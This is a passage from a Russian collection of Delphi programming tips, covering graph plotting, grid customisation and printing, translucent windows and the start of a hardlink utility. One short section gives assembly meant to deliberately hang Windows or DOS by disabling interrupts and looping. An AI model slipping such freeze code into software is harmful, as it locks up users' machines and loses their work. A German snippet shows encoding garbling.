  mx, my: real; // масштаб по осям X и Y
  x0, y0: integer; // точка - начало координат
begin
 // область вывода графика
  l := 10; // X - координата левого верхнего угла
  b := Form1.ClientHeight - 20; // Y - координата левого верхнего угла
  h := Form1.ClientHeight - 40; // высота
  w := Form1.Width - 40; // ширина
  x1 := 0; // нижняя граница диапазона аргумента
  x2 := 25; // верхняя граница диапазона аргумента
  dx := 0.01; // шаг аргумента
 // найдем максимальное и минимальное значения
 //  функции на отрезке [x1,x2]
  y1 := f(x1); // минимум
  y2 := f(x1); // максимум
  x := x1;
  repeat
    y := f(x);
    if y < y1 then y1 := y;
    if y > y2 then y2 := y;
    x := x + dx;
  until (x >= x2);
 // вычислим масштаб
  my := h / abs(y2 - y1); // масштаб по оси Y
  mx := w / abs(x2 - x1); // масштаб по оси X
 // оси
  x0 := l;
  y0 := b - Abs(Round(y1 * my));
  with form1.Canvas do
  begin
   // оси
    MoveTo(l, b); LineTo(l, b - h);
    MoveTo(x0, y0); LineTo(x0 + w, y0);
    TextOut(l + 5, b - h, FloatToStrF(y2, ffGeneral, 6, 3));
    TextOut(l + 5, b, FloatToStrF(y1, ffGeneral, 6, 3));
   // построение графика
    x := x1;
    repeat
      y := f(x);
      Pixels[x0 + Round(x * mx), y0 - Round(y * my)] := clRed;
      x := x + dx;
    until (x >= x2);
    TextOut(17, 100, 'Delphi World Example');
  end;
end;
procedure TForm1.FormPaint(Sender: TObject);
begin
  GrOfFunc;
end;
// изменился размер окна программы
procedure TForm1.FormResize(Sender: TObject);
begin
  // очистить форму
  form1.Canvas.FillRect(Rect(0, 0, ClientWidth, ClientHeight));
  // построить график
  GrOfFunc;
end;
end.
Скачать весь проект

Сетка и отображаемый в память файл.

unit MapGForm;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, SyncObjs, TeEngine, Series, ExtCtrls, TeeProcs, Chart, Grids,
  ComCtrls;
type
  TForm1 = class(TForm)
    StringGrid1: TStringGrid;
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure StringGrid1SelectCell(Sender: TObject; Col, Row: Integer;
      var CanSelect: Boolean);
  private
    hMapFile: THandle;
    MapFilePointer: Pointer;
  public
    procedure WmUser(var Msg: TMessage); message wm_user;
  end;
var
  Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
var
  Address: Pointer;
begin
  hMapFile := CreateFileMapping(
    $FFFFFFFF, // file handle ... or memory
    nil, // security
    Page_ReadWrite, // access rights
    0, // high memory size
    10000, // low memory size
    'DdhMappedFileGraph'); // mapped file name
  if hMapFile <> 0 then
    MapFilePointer := MapViewOfFile(
      hMapFile, // handle returned above
      File_Map_All_Access, // access rights
      0, 0, 0) // access the entire mapped file
  else
    ShowMessage('hMapFile = 0');
  if MapFilePointer = nil then
    ShowMessage('MapFilePointer = nil')
  else
  begin
    // add window to area
    Address := pChar(MapFilePointer) + 400;
    while PInteger(Address)^ <> 0 do
      Address := pChar(Address) + 4;
    PInteger(Address)^ := Handle;
  end;
  // posts an update request to itself
  PostMessage(Handle, wm_user, 0, 0);
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
  UnMapViewOfFile(MapFilePointer);
  CloseHandle(hMapFile);
end;
procedure TForm1.WmUser(var Msg: TMessage);
var
  X, Y: Integer;
  Address: Pointer;
begin
  // update the grid
  for X := 0 to 9 do
    for Y := 0 to 9 do
    begin
      Address := pChar(MapFilePointer)
        + (X + Y * 10) * 4;
      StringGrid1.Cells[X, Y] :=
        IntToStr(PInteger(Address)^);
    end;
end;
procedure TForm1.StringGrid1SelectCell(Sender: TObject;
  Col, Row: Integer; var CanSelect: Boolean);
var
  Address: Pointer;
begin
  // reset the cell to 0
  Address := pChar(MapFilePointer) + (Col + Row * 10) * 4;
  PInteger(Address)^ := 0;
  // notify all listeners
  Address := pChar(MapFilePointer) + 400;
  while PInteger(Address)^ <> 0 do
  begin
    PostMessage(PInteger(Address)^, wm_user, 0, 0);
    Address := pChar(Address) + 4;
  end;
end;
end.

Grid с человеческим лицом.

Статьи по Delphi (009)… Автор: Пляко Андрей Специально для Королевства Delphi

Сетка (Grid) — очень удобный компонент для представления данных. К несчастью, внешний вид Воrlаnd'овских сеток крайне непригляден; да и работать с ними пользователю, подчас, неудобно. Я выделил два критерия, которым, на мой взгляд, должна удовлетворять хорошая сетка:

Сетка должна "покрывать" весь компонент; компонент не должен быть шире представляемой им сетки. Другими словами, в сетке должна быть (хотя бы одна) растягиваемая колонка, ширина которой меняется при изменении размеров сетки (например, при rеsizе'е формы). При изменении пользователем ширины колонки, должна соответствующим образом меняться ширина смежной с ней колонки, так чтобы создавалось впечатление, будто пользователь просто передвинул "границу" между двумя колонками. Пример такой сетки представлен в проекте GridResize. Так как многие пользуются не стандартными сетками, а каким-то их модификациями, то вместо написания очередного компонента на базе TStringGrid, я решил написать специальный модуль (VCLRoutine) и продемонстрировать в проекте GridResize, как с его помощью можно сделать любую сетку хорошей. То есть, воспользовавшись модулем VCLRoutine вы можете привить своей любимой сетке либо способность растягиваться на всю доступную ширину, либо возможность по-умному изменять ширину колонки, либо и то и другое. Например, все это можно проделать с DataAware сетками; пример такой модификации стандартной сетки TDBGrid представлен в проекте GridDBResize. Оба демонстрационных проекта (под Delphi 5) расположены здесь. Кроме того, модуль VCLRoutine содержит еще несколько полезных процедур, которые, впрочем, никак не задействованы в проектах Grid[DB]Resize, но которые могут понравится и/или пригодится читателю. В меру возможностей код модуля снабжен пояснительными комментариями. В последующих двух подразделах приводится описание модуля VCLRoutine и дается комментарий по наиболее сложным кускам кода проекта GridResize.

Модуль VCLRoutine

ResizeCustomGrid (aGrid: TCustomGrid; SizeColumn: Integer=-1) Процедура изменяет ширину колонки с номером SizeColumn так, чтобы сетка "покрывала" весь компонент. Если SizeColumn не указан, то растягиваться будет последняя колонка сетки. Если растягиваемая колонка не видна на экране, то ее ширина не изменяется. Вызов этой функции логично производить при изменении ширины сетки; например, в обработчике события OnResize формы. ResizeCustomDBGrid (aGrid: TCustomDBGrid; SizeColumn: Integer=-1) Это DB Aware аналог процедуры ResizeCustomGrid; в ней просто учитывается возможное наличие "индикатора" dgIndicator in Options ResizeStatusBar (aBar: TStatusBar; DontResize: SetOfByte=[]) Процедура делает ширину всех панелей TStatusBar одинаковыми; ширина панелей, номера которых указаны в множестве DontResize остается прежней. Эту процедуру тоже логично вызывать из обработчика события OnResize. CanResizeCustomGridColumn (aGrid: TCustomGrid; const x,y: Integer): Integer Эта функция позволяет узнать, может ли пользователь вручную изменить ширину колонки, если курсор мышки имеет координаты x,y. Функция возвращает номер колонки, размер которой будет изменяться; функция возвращает -1, если пользователь не может изменить ширину никакой колонки. Пояснения по использованию этой функции даны в следующем подразделе. CanResizeCustomDBGridColumn (aGrid: TCustomGrid; const x,y: Integer): Integer Это DB Aware аналог процедуры CanResizeCustomGridColumn

SwapRows (aGrid: TStringGrid; const Row1, Row2: Integer) Простенькая процедура; она меняет местами две строки (Row1 и Row2) сетки TStringGrid.

Комментарии к проекту GridResize

Процедура ResizeCustomGrid позволяет легко удовлетворить первому критерию хорошей сетки; достаточно вот так описать обработчик события OnResize формы:

procedure TGridForm.FormResize(Sender: TObject);
begin
  // Растягиваем последнюю колонку
  ResizeCustomGrid(MyGrid);
end;
Если бы сетка MyGrid "лежала" не на форме, а на панели (TPanel) или еще каком-нибудь контейнере, то мы бы делали вызов ResizeCustomGrid в обработчике события OnResize этого контейнера. С этим все ясно. А вот с задачей "по-умному изменять ширину колонок" придется повозиться. Когда пользователь нажмет левую клавишу мышки, то функция CanResizeCustomGridColumn позволит нам узнать начинает ли пользователь растягивать/сужать колонку, или же нет. К сожалению, событие OnMouseDown у сетки не возникает, если щелчок происходит на "шапке" сетки. А так как нас интересуют именно щелчки в области "шапки", то вместо использования события OnMouseDown нам придется напрямую обрабатывать Windows-сообщение WM_LBUTTONDOWN, которое возникает при нажатии пользователем левой клавиши мышки.

Для этого нам надо будет "подменить" функцию WindowProc, отвечающую за обработку Windows-сообщений. Делается это так: в private секции формы заводится переменная типа TWndMethod (эта переменная будет хранить ссылку на "старую" WindowProc сетки) и описывается процедура, которая станет новой WindowProc:

TGridForm = class(TForm)
  // [ ... Skiped ... ]
private { Private declarations }
  // [ ... Skiped ... ]
  FWndOrigin: TWndMethod; // WindowProc сетки MyGrid
  // Подложная WindowProc сетки MyGird, обрабатывает WM_LBUTTONDOWN
  procedure FGridDownMtd(var Msg: TMessage);
end;

Сама "подмена" осуществляется в обработчике OnCreate формы:

procedure TGridForm.FormCreate(Sender: TObject);
begin
  // [ ... Skiped ... ]
  // Подмена WindowProc
  FWndOrigin := MyGrid.WindowProc;
  MyGrid.WindowProc := FGridDownMtd;
end;

Все, теперь обработку Windows-сообщений сетки осуществляет метод FGridDownMtd. Эта процедура имеет следующую структуру:

procedure TGridForm.FGridDownMtd(var Msg: TMessage);
begin
  if MSg.Msg = WM_LBUTTONDOWN then
  begin
    // [ ... Skiped ... ]
  end;
  // Передаем сообщение изначальной WindowProc
  FWndOrigin(Msg);
end;
То есть наша процедура в обязательном порядке "доверяет" обработку Windows-сообщения старому обработчику, ссылку на который мы сохранили в FWndOrigin. Но если на обработку пришло сообщение WM_LBUTTONDOWN, то FGridDownMtd предварительно проделает некоторые дополнительные действия.

Если мы хотим, чтобы колонки изменяли ширину "по-умному", то надо, в процедуре FGridDownMtd запоминать: колонку, ширина которой будет изменяться, изначальную ширину этой колонки и, например, сумму ширин этой и смежной колонок. В соответствии с этим, мы заведем еще три приватных поля в форме:

TGridForm = class(TForm)
  // [ ... Skiped ... ]
private { Private declarations }
  FResizeColumn: Integer; // Номер rеsizе'уемой колонки
  FOriginSize: Integer; // Ее изначальная ширина
  FResizeSum: Integer; // Сумма ширин rеsizе'уемой и смежной колонок
  FWndOrigin: TWndMethod; // WindowProc сетки MyGrid
  // Подложная WindowProc сетки MyGird, обрабатывает WM_LBUTTONDOWN
  procedure FGridDownMtd(var Msg: TMessage);
end;

Инициируем их при создании формы:

procedure TGridForm.FormCreate(Sender: TObject);
begin
  // Инициализация переменных
  FResizeColumn := -1;
  FResizeSum := 0;
  FOriginSize := 0;
  // Подмена WindowProc
  FWndOrigin := MyGrid.WindowProc;
  MyGrid.WindowProc := FGridDownMtd;
end;

И соответствующим образом опишем процедуру FGridDownMtd:

procedure TGridForm.FGridDownMtd(var Msg: TMessage);
begin
  if MSg.Msg = WM_LBUTTONDOWN then
  begin
    // Смотрим, какую колонку при этом будем растягивать
    FResizeColumn :=
      CanResizeCustomGridColumn(MyGrid, Msg.LParamLo, Msg.LParamHi);
    // Если какую-то, то запоминаем параметры изменяемых колонок
    if FResizeColumn >= 0 then
      with MyGrid do
      begin
        FOriginSize := ColWidths[FResizeColumn];
        FResizeSum := FOriginSize;
        // Если risizе'аем не последнюю колонку, то...
        if ColCount > FResizeColumn + 1 then
          // ...прибавляем к FResizeSum ширину смежной (справа) колонки
          inc(FResizeSum, ColWidths[FResizeColumn + 1]);
      end;
  end;
  // Передаем сообщение изначальной WindowProc
  FWndOrigin(Msg);
end;

Осталось совсем простая задача: правильно отреагировать на отжатие клавиши мыши; для этого вполне походит событие OnMouseUp. В обработчике этого события нам надо так изменить ширину смежной колонки, чтобы FResizeSum (сумма растянутой и смежной колонок) осталось прежней. Добавим к этому возможность отменить действия пользователя, и в результате получим вот такой код:

procedure TGridForm.MyGridMouseUp(Sender: TObject; Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
var
  NewWidth: Integer;
begin
  // Если мы перетаскиваем какую-нибудь колонку, то...
  if FResizeColumn >= 0 then
    with Sender as TStringGrid do
    begin
      // Если это не последняя колонка, то
      if FResizeColumn < ColCount - 1 then
      begin
        // Смотрим, какой размер должен быть у смежной колонки
        NewWidth := FResizeSum - ColWidths[FResizeColumn];
        // Если отрицательный
        if NewWidth <= 0 then // то отменяем действие пользователя
          ColWidths[FResizeColumn] := FOriginSize
            // иначе, модифицируем ширину смежной колонки
        else
          ColWidths[FResizeColumn + 1] := NewWidth;
      end;
      // На всякий случай выравниваем ширину последней колонки
      ResizeCustomGrid(Sender as TStringGrid);
    end;
  // Сбрасываем флаг перетаскиваемой колонки
  FResizeColumn := -1;
end;

Вот мы и получили хорошую сетку! Разумеется, если мы предполагаем пользоваться такой сеткой во многих проектах; то имеет смысл сделать собственный компонент, применив продемонстрированную выше технику.

Компоненты для печати TStringGrid и TDBGrid.

Оформил: DeeCo

Автор: Жабасов Константин.

Часто бывает нужно быстро и без проблем вывести на печать StringGrid и DBGrid. Просто грид, без всяких наворотов. Представленные в этом обзоре компоненты очень простые, но полезные. Надеюсь кому-то помогут. Печать организована через использование QuickReport.

Freeware component TPrintStringGrid.

Статьи по Delphi (009)…Вкладка Samples PrnStringGrid.zip (4.5 K) Параметры: StringGrid - настраивается на определенный StringGrid. AFont - шрифт клеток которые не fixed. FixedColor - цвет фона у fixed клеток. LightCols и LightRows - это простые StringList'ы, в которых указываются номера столбцов (строк) которые должны быть подсвечены (цвет фона - FixedColor). Это бывает полезно в некоторых случаях. PrintStyle - имеет значения psPreview и psPrint, которые говорят сами за себя. Чтобы запустить печать (предв. Просмотр) вызывается метод Execute. Title - строка заголовка. TitleDate - отображать или нет дату в шапке отчета. TitleFont - шрифт заголовка. TitleLeft - отступ слева строки заголовка. TitleNumPage - отображать или нет номер страницы в шапке (там же где и строка Title) отчета.

Статьи по Delphi (009)…

Freeware component TPrintDBGrid:

Статьи по Delphi (009)… Вкладка DataControls PrnDBGrid.Zip (5.8 K) Параметры: Ну DetailFont, DetailHeight, HeaderFont, HeaderHeight думаю объяснять не нандо, они говорят сами за себя. Следует обратить внимание на свойства Result и ResultOnly. Result это группировать ли записи или нет. Если группировать то отображаются GrоuрFооtеr'ы (не знаю как назвать это по-русски) и на них отображаются количество таких записей. Хочу отметить. что компонент сам не делает сортировку по полям и того подобные вещи, таг что если нужно группировать по какому-либо столбцу, отсортируйте свой DataSet сами. По каким столбцам группировать указывается в свойстве SetOfResultFields. По названию наверно догадались что это множество (set of). К сожалению, заполнение этого свойства делается только в RunTime. Не помню почему, наверное мне нужно было именно так. Пример: Имеем DBGrid:

Статьи по Delphi (009)…

PrintDBGrid1.SetOfResultFields:= [2];
И получаем:

Статьи по Delphi (009)…

Компонент активизируется методом PrintDBGrid1.Execute;

Вот, ну там еще можно поизвращатся, думаю то что я описал уже достаточно для того чтоб начать разбираться в этих нехитрых компонентах.

Для печати используется обычный QuickReport. Компоненты сами определяет какую страницу использовать книжную или альбомную. Все "Detail" клетки имеют RightAligment. Если это ненравится можно исправить в исходнике. Конечно компоненты неочень навороченные, просто я написал то что мне нужно было, вот и все. Надеюсь кому-то они помогут. Ну если понравится или не понравится, свои замечания и пожелания пишите мне на ящик (он указан в исходниках). УДАЧИ тебе ALL.

С уважением, Жабасов Константин.

Смотрите также : Инструменты для печати TDBGrid Модуль для печати таблиц TStringGrid Процедура печати TStringList на принтер

Как заставить GroupBox прорисовать на форме свой Caption неактивным цветом.

Автор: Гавриш Дмитрий

Как заставить GroupBox1 прорисовать на форме свой Caption неактивным цветом? GroupBox1.Enabled:=FALSE не помогает. Хотя если то же самое проделать с Label1 или Edit1, то все получается.

GroupBox1.Font.color:=clInactiveCaption;

GROUPFILE и ADDITEM для групп.

Вот код для создания файла группы и добавления в группу файла-элемента. Чтобы использовать эту процедуру, определите DDE clientconv App как ProgMan.

procedure TMainForm.CreateWinGroup(Sender: TObject);
var
  Name: string;
  Name1: string;
  Macro: string;
  Macro1: string;
  Cmd, Cmd1: array[0..255] of Char;
begin
  {destDir - dos-каталог, хранящий YourFile.Ext'}
  Name := 'GroupName';
  Name1 := destDir + 'YourFile.Ext, FileName_in_Group ';
  Macro := Format('[CreateGroup(%s)]', [Name]) + #13#10;
  Macro1 := Format('[Additem(%s)]', [Name1]) + #13#10;
  StrPCopy(Cmd, Macro);
  StrPCopy(cmd1, Macro1);
  DDEClient.OpenLink;
  if not DDEClient.ExecuteMacro(Cmd, False) then
    MessageDlg('Невозможно создать группу ' + Name, mtInformation, [mbOK], 0)
  else
  begin
    DDEClient.ExecuteMacro(Cmd1, False);
  end;
  DDEClient.CloseLink;
end;

Сгруппировать свойства наподобие Font.

...чтобы сгруппировать свойства наподобие Font, вам необходимо создать наследника (подкласс) TPersistent. Например:

TBoolList = class(TPersistent)
  private
    FValue1: Boolean;
    FValue2: Boolean
  published
    property Value1: Boolean read FValue1 write FValue1;
    property Value2: Boolean read FValue2 write FValue2;
end;

Затем, в вашем новом компоненте, для этого подкласса необходимо создать ivar. Чтобы все работало правильно, вам =необходимо= перекрыть конструктор.

TMyPanel = class(TCustomPanel)
  private
    FBoolList: TBoolList;
  public
    constructor Create( AOwner: TComponent ); override;
  published
    property BoolList: TBoolList read FBoolList write FBoolLisr;
end;

Затем добавьте следующий код в ваш конструктор:

constructor TMyPanel.Create( AOwner: TComponent );
begin
  inherited Create( AOwner );
  FBoolList := TBoolList.Create;
end;

Автоматическая генерация GUID в редакторе кода.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

If you have Delphi 4 Professional or Client/Server or a newer Version, you can press the key combination Ctrl+Shift+G and Delphi will insert the unique GUID (Global Unique Identifier) into the code editor at the cursor location. This can be useful for COM programmers. Ab Delphi 4 Professional oder Client/Server kann man mittels Strg+Shift+G einen GUID (Global Unique Identifier) an der aktuellen Cursor Position еinfьgеn lassen. Dies kann vorallem fьг COM Programmierer nьtz1iсh sein. Example/ Beispiel: Press Ctrl+Shift+G und you''ll get something like that: Dгьске Strg+Shift+G und dann wird z.B ein solcher GUID еingеfьgt: ['{C84EB7F0-8AA8-11D6-BDA5-00409544305B}']

GUI. Перегрузка контролами.

Александр Малыгин

Навороченные формы с огромным количеством визуальных компонентов, помноженные на количество этих форм, могут вызвать ряд серьезных проблем при разработке и использовании программы. Приложение надолго подвисает при загрузке. Время уходит на инициализацию большого количества форм, стоящих в AutoCreate. Наблюдаются многочисленные глюки при прорисовке, сообщения системы об ошибках и перерасходе ресурсов без видимых причин, вплоть до убиения приложения системой или краха системы. Характерно для Windows линии 9X, у которых максимальное количество графических и оконных ресурсов (GDI и USER) сильно ограничено. Зачастую, чтобы не расставлять и настраивать множество однообразных контролов на форме вручную, программист пишет код для их программной инициализации и вставки, не учитывая при этом нюансы, о которых он не подозревал при визуальной разработке. В результате он может получить утечку памяти и прочих ресурсов, если форма создается/уничтожается динамически многократно в процессе работы. Пользователь теряется в перегруженном интерфейсе программы, будучи не в состоянии использовать все его возможности и затрудняясь в выполнении простых задач. ТИПОВЫЕ РЕШЕНИЯ. Уменьшить количество автоматически создаваемых форм. Создавать тяжелые формы в тот момент, когда они понадобятся, и уничтожать при закрытии. При этом нужно следить за своевременной очисткой и проверкой глобальных ссылок на формы. У динамически создаваемых компонентов устанавливать владельца и родителя. Подробности - в статье "Жизнь и смерть в режиме run-time". Большое количество форм не всегда оправдано. Если пользователь не получает дополнительных удобств от того, что может открыть много форм (часто он не может их увидеть одновременно или работает постоянно с одной), то это неверное архитектурное решение. Интерфейс MDI - хорошая концепция. Но всякое техническое решение имеет свою область применения. Это удобно, когда пользователю нужно работать с однотипными объектами в разных окнах и переходить от одного к другому, причем количество их заранее неизвестно, и допускается изменение размеров окна. Примеры - работа с документами (Word, Excel, etc.). Как правило, многочисленные элементы управления не нужны пользователю одновременно (вспомните о правиле 7±2 - именно таково среднее количество объектов, за которыми человек может следить одновременно, не напрягаясь). Их можно разделить на группы и расположить на страницах компонента TPageControl. Таким способом можно скрыть видимую сложность очень большого интерфейса по вводу и редактированию данных. Если группы компонентов однотипны (меняются только данные), то решение еще более упрощается, с одновременным снятием нагрузки на ресурсы системы. Компонент TTabControl, который внешне выглядит также, как и TPageControl, содержит только одну группу контролов, а программист по событию смены закладки OnChange имеет возможность сменить данные. Большое количество регулярно расположенных контролов TEdit, TLabel успешно заменяется на TStringGrid, специально для этого предназначенный. Кроме всего прочего, он имеет удобную прокрутку, размеры таблицы не будут ограничены размерами формы. В случае, если нужно много TComboBox, применяют следующую хитрость. Для визуализации используют TStringGrid, а для редактирования в текущую ячейку вставляют TComboBox, устанавливая ему размеры и координаты по ячейке и набивая его программно (если набор элементов меняется). Один и тот же экземпляр редактирующего контрола используется во всех ячейках, поскольку он не нужен одновременно везде. Эта же техника используется и в VCL для редактирования ячеек TStringGrid, TDBGrid. Есть масса компонентов типа TStringGrid сторонних разработчиков, которые расширяют возможности стандартного. DB-aware визуальные компоненты - такие как TDBGrid - способны обрабатывать огромный объем данных, не требуя при этом пропорциональное количество ресурсов GDI/USER. В конце концов, если не хочется связываться с СУБД, можно загнать информацию в TClientDataSet и кормить из него DB-aware controls на форме. Одновременно получаешь все прелести сортировки и фильтрации данных. В случае сложного набора контролов для каждой записи, при необходимости видеть несколько таких групп одновременно, хорошо подходит компонент TDBCtrlGrid. Следует стремиться уменьшить количество компонентов - потомков TWinControl (например - TButton), заменяя их на потомки TGraphicControl (пример - TSpeedButton). Последние не используют объекты USER, поскольку не являются окнами в понятиях Windows. Рекомендуется разрабатывать и эксплуатировать ресурсоемкие приложения в среде Windows NT и ее наследников (2000, XP). Ресурсы:

GridComb.zip - пример манипулирования ComboBox на StringGrid (выловлено в FIDO в незапамятные времена). Torry's Delphi pages - сюда ходят за компонентами.

Наполовину активное окно.

Статьи по Delphi (009)…

Как сделать так, чтобы окно было неактивно? Вы скажите: "Ничего сложного. Нужно только свойство окна Enabled установить в false"... но, так как окно является владельцем компонентов, находящихся на нём, то и все компоненты станут неактивными! Но был найден способ избежать этого!

private
  { Private declarations }
  procedure WMNCHitTest (var M: TWMNCHitTest); message wm_NCHitTest;
implementation
{$R *.DFM}
procedure TForm1.WMNCHitTest (var M:TWMNCHitTest);
begin
  if M.Result = htClient then
    M.Result := htCaption;
end;

Полупрозрачная форма в Win2000.

Статьи по Delphi (009)…

Обнаружил в Windows 2000 полноценную реализацию полупрозрачности:

- Вы замечали, как быстро работает Windows2000? Я тоже нет...
const
  WS_EX_LAYERED = $80000;
  LWA_COLORKEY = 1;
  LWA_ALPHA = 2;
function SetLayeredWindowAttributes(
  hwnd : HWND; // handle to the layered window
  crKey : TColor; // specifies the color key
  bAlpha : byte; // value for the blend function
  dwFlags : DWORD // action
  ): BOOL; stdcall;
function SetLayeredWindowAttributes; external 'user32.dll';
procedure TForm1.FormCreate(Sender: TObject);
begin
  if SetWindowLong(Handle, GWL_EXSTYLE, GetWindowLong(Handle, GWL_EXSTYLE)
  or WS_EX_LAYERED) = 0 then
    ShowMessage(SysErrorMessage(GetLastError));
  if not SetLayeredWindowAttributes(Handle, 0, 128, LWA_ALPHA) then
    // ^^^ степень прозрачности
    // 0 - полная прозрачность
    // 255 - полная непрозрачность
    ShowMessage(SysErrorMessage(GetLastError));
end;

Есть более продвинутые возможности (например, альфа-канал в битмапе) http://msdn.microsoft.com/isapi/msdnlib.idc?theURL=/library/techart/layerwin.htm

unit TransparentWnd;
interface
uses
  Windows, Messages, Classes, Controls, Forms;
type
  _Percentage = 0..100;
  TTransparentWnd = class(TComponent)
  private
    { Private declarations }
  protected
    { Protected declarations }
    _percent: _Percentage;
    _auto: boolean;
    User32: HMODULE;
  public
    { Public declarations }
    constructor Create(AOwner: TComponent); override;
    destructor Destroy; override;
    //These work on a Handle
    //It doesn't change the Percent Property Value!
    procedure SetTransparentHWND(hwnd: THandle; percent : _Percentage);
    //These work on the Owner (a TWinControl decendant is the Minumum)
    //They don't change the Percent Property Value!
    procedure SetTransparent; overload;
    procedure SetTransparent(percent : _Percentage); overload;
    procedure SetOpaqueHWND(hwnd : THandle);
    procedure SetOpaque;
  published
    { Published declarations }
    //This works on the Owner (a TWinControl decendant is the Minumum)
    property Percent: _Percentage read _percent write _percent default 0;
    property AutoOpaque: boolean read _auto write _auto default false;
end;
procedure register;
implementation
const LWA_ALPHA = $2;
const GWL_EXSTYLE = (-20);
const WS_EX_LAYERED = $80000;
const WS_EX_TRANSPARENT = $20;
var
  SetLayeredWindowAttributes: function (hwnd: LongInt; crKey: byte;
    bAlpha: byte; dwFlags: LongInt): LongInt; stdcall;
constructor TTransparentWnd.Create(AOwner: TComponent);
begin
  inherited;
  User32 := LoadLibrary('USER32.DLL');
  if User32 <> 0 then
    @SetLayeredWindowAttributes := GetProcAddress(User32, 'SetLayeredWindowAttributes')
  else
    SetLayeredWindowAttributes := nil;
end;
destructor TTransparentWnd.Destroy;
begin
  if User32 <> 0 then
    FreeLibrary(User32);
  inherited;
end;
procedure TTransparentWnd.SetOpaqueHWND(hwnd: THandle);
var
  old: THandle;
begin
  if IsWindow(hwnd) then
  begin
    old := GetWindowLongA(hwnd,GWL_EXSTYLE);
    SetWindowLongA(hwnd, GWL_EXSTYLE, old and ((not 0)-WS_EX_LAYERED));
  end;
end;
procedure TTransparentWnd.SetOpaque;
begin
  Self.SetOpaqueHWND((Self.Owner as TWinControl).Handle);
end;
procedure TTransparentWnd.SetTransparent;
begin
  Self.SetTransparentHWND((Self.Owner as TWinControl).Handle, Self._percent);
end;
procedure TTransparentWnd.SetTransparentHWND(hwnd: THandle; percent : _Percentage);
var
  old: THandle;
begin
  if (User32 <> 0) and (Assigned(SetLayeredWindowAttributes)) and (IsWindow(hwnd)) then
    if (_auto=true) and (percent=0) then
      SetOpaqueHWND(hwnd)
    else
    begin
      percent := 100 - percent;
      old := GetWindowLongA(hwnd, GWL_EXSTYLE);
      SetWindowLongA(hwnd, GWL_EXSTYLE, old or WS_EX_LAYERED);
      SetLayeredWindowAttributes(hwnd, 0, (255 * percent) div 100, LWA_ALPHA);
    end;
end;
procedure TTransparentWnd.SetTransparent(percent: _Percentage);
begin
  Self.SetTransparentHWND((Self.Owner as TForm).Handle, percent);
end;
procedure register;
begin
  RegisterComponents('Win32', [TTransparentWnd]);
end;
end.

Это компонент, для Дельфи, инкапсулирующий нужные функции.

Полупрозрачное окно в Win2000.

Статьи по Delphi (009)…
ОС или не ОС - вот в чем вопрос...
SetWindowTransp(hndl: THandle; Perc: byte);
hndl Hanle окна, которое надо сделать полупрозрачным. Perc Число от 1 до 100, указывающее уровень прозрачности.

Зависание Delphi 4(5).

Автор: Сергей Сахаров
Помните: девушки как компьютер - вы их грузите, а они - виснут и виснут.
Delphi 4(5) виснут при запуске. Видеокарта S3 Virge. Решение: Добавьте в реестр строку: [HKEY_CURRENT_CONFIG\Display\Settings] "BusThrottle"="on" Если не помогает, то попробуйте добавить в system.ini: [Display] "BusThrottle"="On"

Эта проблема устранена в Delphi 4sp3.

Как подвесить WIN или DOS.

Оформил: DeeCo

Автор: XZ.

Этот код можно использовать в языках высокого уровня (Delphi, C, ...), для этого воспользуйтесь правилами. Исходники примера можно взять здесь: Dos (Pascal 7.0), Win (Delphi 5).

WIN:

cli ;отключение внешних прерываний 
@A: ;метка
jmp @A ;зацикливание

DOS:

cli ;отключение внешних прерываний 
hlt ;выход из программы

Создание hardlink и symbolic link.

Автор: Alex Konshin WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Создание hardlink и symbolic link.
Исходный код утилиты, которая создает hard и symbolic links почти как в unix.
Hardlink можно создать только для файлов и только на NTFS.
Symbolic link можно создать только для директориев и только на NTFS5 (Win2K/XP)
и он не может указывать на сетевой ресурс.
Зависимости: Windows, SysUtils
Автор:       Alex Konshin, akonshin@earthlink.net, Boston, USA
Copyright:   http://home.earthlink.net/~akonshin/files/xlink.zip
Дата:        30 декабря 2002 г.
***************************************************** }
program xlink;
uses
  Windows, SysUtils;
{$APPTYPE CONSOLE}
{$R xlink.res}
type
  TOptions = set of (optSymbolicLink, optOverwrite, optRecursive, optDirectory);
  int64rec = packed record
    lo: LongWord;
    hi: LongInt;
  end;
const
  FILE_DOES_NOT_EXIST = DWORD(-1);
  //=============================================================
function isFileExists(const AFileName: string): Boolean;
var
  h: THandle;
  rFindData: TWin32FindData;
begin
  h := Windows.FindFirstFile(PChar(AFileName), rFindData);
  Result := h <> INVALID_HANDLE_VALUE;
  if not Result then
    Exit;
  Windows.FindClose(h);
  Result := (rFindData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) = 0;
end;
//-------------------------------------------------------------
// warning: function assumes that it is correct directory name
function isDirectoryEmpty(const ADirectoryName: string): Boolean;
var
  h: THandle;
  len: Integer;
  rFindData: TWin32FindData;
  sSeachMask: string;
begin
  len := Length(ADirectoryName);
  if (PChar(ADirectoryName) + len - 1)^ = '\' then
    sSeachMask := ADirectoryName + '*'
  else
    sSeachMask := ADirectoryName + '\*';
  h := Windows.FindFirstFile(PChar(sSeachMask), rFindData);
  Result := (h = INVALID_HANDLE_VALUE);
  Windows.FindClose(h);
end;
//-------------------------------------------------------------
function SysErrorMessage(ErrorCode: Integer): string;
var
  Len: Integer;
  Buffer: array[0..255] of Char;
begin
  Len := FormatMessage(
    FORMAT_MESSAGE_FROM_SYSTEM or FORMAT_MESSAGE_ARGUMENT_ARRAY,
    nil, ErrorCode, 0, Buffer, SizeOf(Buffer), nil);
  while (Len > 0) and (Buffer[Len - 1] in [#0..' ', '.']) do
    Dec(Len);
  SetString(Result, Buffer, Len);
end;
//-------------------------------------------------------------
procedure _CreateHardlink(AFileName: string; AFileWCName: PWideChar; ALinkName:
  string; overwrite: Boolean);
var
  aLinkWCFileName, aLinkFullName: array[0..MAX_PATH] of WChar;
  pwFilePart: LPWSTR;
  hFileSource: THandle;
  rStreamId: WIN32_STREAM_ID;
  cbPathLen, dwStreamHeaderSize, dwBytesWritten: DWORD;
  lpContext: Pointer;
begin
  StringToWidechar(ALinkName, aLinkWCFileName, MAX_PATH);
  hFileSource :=
    Windows.CreateFile(
